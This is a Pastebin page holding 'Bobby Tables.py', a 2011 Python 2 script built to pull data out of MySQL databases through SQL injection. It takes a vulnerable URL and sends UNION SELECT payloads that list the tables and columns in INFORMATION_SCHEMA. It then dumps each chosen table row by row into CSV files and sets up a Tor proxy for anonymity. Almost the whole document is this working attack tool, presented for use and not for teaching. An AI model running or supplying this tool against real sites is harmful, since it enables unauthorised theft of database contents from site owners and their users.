Advertisement
infodox

Bobby Tables.py v1.2

Dec 13th, 2011
195
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.85 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Bobby Tables MySQL Data Extraction utility
  3. # Extracts data from MySQL databases via SQL injection
  4. # v1.2 !!!!!
  5. # http://twitter.com/info_dox
  6. # www.infodox.co.cc
  7. # blog.infodox.co.cc
  8. import urllib
  9. import sys
  10. import getopt
  11. import string
  12. import os
  13. import time
  14.  
  15. def convert_char(element):
  16.         char_element = 'char('
  17.     for charac in element:
  18.         char_element += str(ord(charac))+','
  19.     char_element = char_element[:-1]+')'
  20.     return char_element
  21.  
  22. print("Welcome to Bobby Tables SQL Injection Utility")
  23. print("If your vulnURL is www.blah.com/vuln.php?id=1&page=2[INJECTHERE]&pl0x=3")
  24. print("Then first part of the URL is www.blah.com/vuln.php?id=1&page=2")
  25. print("The rest is the second part. If there is no second part leave that field blank or something!")
  26. base_url_start = raw_input("First part of the vuln URL: ")
  27. base_url_end = raw_input("Second part of the vuln URL: ")    # Second part of the vuln URL
  28. proxies = {'http': 'http://127.0.0.1:8118'} # IP:Port of TOR running on Localhost
  29.  
  30. #change if the page source already contains the delimiter string
  31. string_delimiter = '-----'
  32. string_delimiter_char = convert_char(string_delimiter)
  33.  
  34. #change if the page source already contains the column delimiter string
  35. column_delimiter = '!!!!!'
  36. column_delimiter_char = convert_char(column_delimiter)
  37.  
  38. #increase to increase speed but make sure that the results wont be cut....
  39. results_limit = str(10)
  40.  
  41.  
  42. def print_options(tables):
  43.     idx = 1
  44.     column = 0
  45.     line = ''
  46.     for table in tables:
  47.         if (len(str(idx)) == 1):
  48.             idx_str = '  '+str(idx)
  49.         if (len(str(idx)) == 2):
  50.             idx_str = ' '+str(idx)
  51.         if (len(str(idx)) == 3):
  52.             idx_str = str(idx)
  53.         if idx == len(tables):
  54.             print line+'\n\n\t -1 -\tAll\t\t\t  0 - \tExit'
  55.         else:
  56.             if column == 3:
  57.                 if (len(table) > 12):
  58.                     line += '\t'+idx_str + ' - ' +table[:12]+'...\t'
  59.                 else:
  60.                     if (len(table) <=9):
  61.                         if (len(table) <=6):
  62.                             line += '\t'+idx_str + ' - ' +table+'   \t\t'
  63.                         else:
  64.                             line += '\t'+idx_str + ' - ' +table+'   \t'
  65.                     else:
  66.                         line += '\t'+idx_str + ' - ' +table+'   \t'
  67.                 print line
  68.                 line = ''
  69.                 column = 0
  70.             else:
  71.                 if (len(table) > 12):
  72.                     line += '\t'+idx_str + ' - ' +table[:12]+'...\t'
  73.                 else:
  74.                     if (len(table) <=9):
  75.                         if (len(table) <=6):
  76.                             line += '\t'+idx_str + ' - ' +table+'   \t\t'
  77.                         else:
  78.                             line += '\t'+idx_str + ' - ' +table+'   \t'
  79.                     else:
  80.                         line += '\t'+idx_str + ' - ' +table+'   \t'
  81.                 column +=1
  82.         idx += 1
  83.  
  84. def extract_table(table_name, time_per_get):
  85.     try:
  86.         print "Extracting "+table_name+ " table"
  87.         table_arg = table_name
  88.    
  89.         fw = open(table_arg+'.csv', 'w')
  90.    
  91.         #convert table name to char(xxx,xxx...)
  92.         table = convert_char(table_arg)
  93.    
  94.         #get column list
  95.         get_columns_data = base_url_start + '%20union%20select%201,2,concat('+string_delimiter_char+',(select%20group_concat(column_name)%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%20=%20'+table+'%20and%20table_schema=database()),'+string_delimiter_char+'),4,5,6'+base_url_end
  96.         page = urllib.urlopen(get_columns_data)
  97.         columns = string.split(string.split(page.read(),string_delimiter)[1],',')
  98.  
  99.         #get table count
  100.         get_table_count = base_url_start + '%20union%20select%201,2,concat('+string_delimiter_char+',(select%20count(*)%20FROM%20'+table_arg+'),'+string_delimiter_char+'),4,5,6'+base_url_end
  101.         page = urllib.urlopen(get_table_count)
  102.         row_count = string.split(string.split(page.read(),string_delimiter)[1],',')
  103.    
  104.         print 'Rows:'
  105.         print row_count[0] 
  106.         eta = ((float(row_count[0]) * float(len(columns))) / float(results_limit)) * float(time_per_get)
  107.         print "ETA: "+str((int(eta)) / 60 ) + ' minutes'
  108.         if (int(row_count[0]) > 0):
  109.             #create file header
  110.             header = ''
  111.             for column in columns:
  112.                 header += column +','
  113.            
  114.             print 'Extracting columns:'
  115.             print header   
  116.        
  117.             iterations = (int(row_count[0]) / int(results_limit)) +1
  118.             order_by = columns[0]
  119.            
  120.            
  121.        
  122.             for column in columns:
  123.                 current_offset = 0
  124.                 current_column_data = column + ':'
  125.                 for row_id in range(iterations):
  126.                     get_row_data = base_url_start + '%20union%20select%201,2,concat('+string_delimiter_char+',(select%20group_concat(t.row1,'+column_delimiter_char+')%20FROM%20(select%20'+column+'%20as%20row1%20FROM%20'+table_arg+'%20order%20by%20'+order_by+'%20LIMIT%20'+str(current_offset)+','+results_limit+')%20as%20t),'+string_delimiter_char+'),4,5,6'+base_url_end
  127.                     page = urllib.urlopen(get_row_data)
  128.                     try:
  129.                         row_data = string.split(string.split(page.read(),string_delimiter)[1],column_delimiter+',')
  130.                     except:
  131.                         pass
  132.                     row_data[len(row_data)-1] = row_data[len(row_data)-1][:-1*(len(column_delimiter))]
  133.                     current_offset += int(results_limit)
  134.                     for data_r in row_data:
  135.                         current_column_data += data_r+','
  136.                 fw.write(current_column_data[:-1]+'\n')
  137.                 fw.flush()
  138.                 os.fsync(fw.fileno())
  139.             fw.close()
  140.         else:
  141.             print "The table has no rows"
  142.     except ValueError:
  143.         print ValueError
  144.         #"some stupid error ocurred... "
  145.  
  146.  
  147. def main():
  148.     t0 = time.time()
  149.     #get table list
  150.     get_table_list = base_url_start + '%20union%20select%201,2,concat('+string_delimiter_char+',(select%20group_concat(table_name)%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20%20table_schema=database()),'+string_delimiter_char+'),4,5,6'+base_url_end
  151.     page = urllib.urlopen(get_table_list)
  152.     tables = string.split(string.split(page.read(),string_delimiter)[1],',')
  153.     time_per_get =  time.time() - t0
  154.     while True:
  155.         try:
  156.             print_options(tables)
  157.             option = str(input('\nChose table: '))
  158.             try:
  159.                 if str(option) == '0':
  160.                     return
  161.             except:
  162.                 pass
  163.             if int(option) == -1:
  164.                 for table in tables:
  165.                     extract_table(table, time_per_get) 
  166.             else:
  167.                 print 'wtf?'
  168.                 extract_table(tables[int(option) -1], time_per_get)
  169.             option = ''
  170.         except:
  171.             pass
  172.    
  173. if __name__ == "__main__":
  174.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement